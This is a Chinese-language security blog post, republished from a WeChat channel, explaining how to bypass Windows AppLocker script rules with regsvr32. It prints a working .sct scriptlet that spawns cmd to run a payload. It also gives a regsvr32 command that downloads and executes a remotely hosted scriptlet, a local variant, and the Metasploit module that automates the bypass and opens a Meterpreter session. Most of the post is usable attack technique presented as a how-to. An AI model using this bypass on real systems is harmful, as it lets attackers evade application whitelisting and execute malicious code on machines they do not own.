利用Regsvr32绕过Applocker的限制策略

  • A+
所属分类:安全闲碎

利用Regsvr32绕过Applocker的限制策略


AppLocker的设计初衷就是为了帮助管理员Windows安装文件,可执行文件以及用户脚本的执行。从各种各样的奇淫巧计中我们得知这些限制是可以绕过的,例如在windows环境下通过AppLocker配置以限制脚本的执行,利用regsrv32命令行工具就可以完成绕过。

利用Regsvr32绕过Applocker的限制策略

regsvr32是windows命令行实用工具用于注册动态链接库文件,向系统注册控件或者卸载控件的命令。Casey Smith发现通过调用regsrv32实用程序执行一条命令或者.sct文件有可能绕过AppLocker的脚本规则。由于该实用程序是由微软官方签名的所以好处多多啦,支持TLS加密,遵循重定向方式,不会在磁盘上留下痕迹。

以下脚本为Casey Smith提供的代码修改版,我们仅调用 calc.exe或cmd.exe。如果允许使用命令行提示符,脚本将在目标系统上执行自定义二进制代码:

<?XML version="1.0"?><scriptlet><registration         progid="Pentest"       classid="{F0001111-0000-0000-0000-0000FEEDACDC}" ><script language="JScript"><![CDATA[    var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c: & pentestlab.exe");  ]]></script></registration></scriptlet>

regsvr32实用工具可从托管的web服务器上请求以及执行脚本:

regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

利用Regsvr32绕过Applocker的限制策略

regsrv32指令选项:

  • /s 静默执行

  • /n 指定不调用DllRegisterServer,此选项必须与/i共同使用

  • /i 调用DllInstall将它传递到可选的[cmdline],在与 /u 共同使用时,它调用DllUnstall

  • /u 反注册控件

当然也可以利用regsvr32在本地运行存储的有效载荷:

regsvr32 /u /n /s /i:payload.sct scrobj.dll

该命令将直接从托管文件的web服务器上执行脚本,嵌入.sct文件的JavaScript代码将引导pentestlab3.exe程序在命令提示符下执行。
利用Regsvr32绕过Applocker的限制策略

由于pentestlab3是一个Metasploit payload,所以随后会打开一个Meterpreter会话:
利用Regsvr32绕过Applocker的限制策略

当然,直接执行脚本还是会被拦截。但通过上面方法使用regsvr32进行绕过是可以的。利用Regsvr32绕过Applocker的限制策略

Metasploit

Metasploit框架有一个特定的有效载荷,可用于通过Regsvr32实用程序实现自动化绕过AppLocker

exploit/windows/misc/regsvr32_applocker_bypass_server

该模块将启用一个用于存储恶意.sct文件的web服务,同时也提供用于在目标系统下执行的命令
利用Regsvr32绕过Applocker的限制策略

命令执行后regsvr32将从web服务器请求.sct文件,然后执行PowerShell payload

利用Regsvr32绕过Applocker的限制策略

最后成功绕过绕过AppLocker限制

利用Regsvr32绕过Applocker的限制策略

参考资源

https://www.rapid7.com/db/modules/exploit/windows/misc/regsvr32_applocker_bypass_serverhttp://subt0x10.blogspot.co.uk/2017/04/bypass-application-whitelisting-script.html

利用Regsvr32绕过Applocker的限制策略


本文始发于微信公众号(零组攻防实验室):利用Regsvr32绕过Applocker的限制策略

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: